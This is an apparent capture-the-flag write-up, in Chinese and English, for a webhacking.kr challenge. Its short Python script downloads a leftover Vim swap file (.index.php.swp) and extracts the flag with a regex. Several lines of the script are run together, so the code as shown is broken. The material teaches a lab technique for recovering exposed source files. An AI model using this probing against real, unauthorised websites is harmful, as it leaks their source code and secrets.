Challenge
Recover source and flag data from a Vim swap file.
从 Vim swap 文件中恢复源码和 flag。
https://webhacking.kr/challenge/bonus-8/Analysis
题目目录残留 .index.php.swp。Vim swap 文件虽然包含二进制元数据,但编辑中的 PHP 文本仍以可搜索字符串保存在响应中。下载响应后,按 FLAG{ 开头、} 结尾的字节模式提取 flag 即可恢复题目数据。
Solution
目标文件为:
/challenge/bonus-8/.index.php.swp下面的完整脚本下载 swap 文件,并从字节内容中提取 flag:
#!/usr/bin/env python3import re
import requests
URL = "https://webhacking.kr/challenge/bonus-8/.index.php.swp"FLAG_PATTERN = re.compile(rb"FLAG\{[^}\r\n]+\}")
def main() -> None: response = requests.get(URL, timeout=20) response.raise_for_status() matches = FLAG_PATTERN.findall(response.content) if not matches: raise RuntimeError("no flag-shaped text found in the Vim swap response") for value in matches: print(value.decode("ascii"))
if __name__ == "__main__": main()响应包含 Vim swap 内容;从中读取并恢复 flag 后填入认证表单。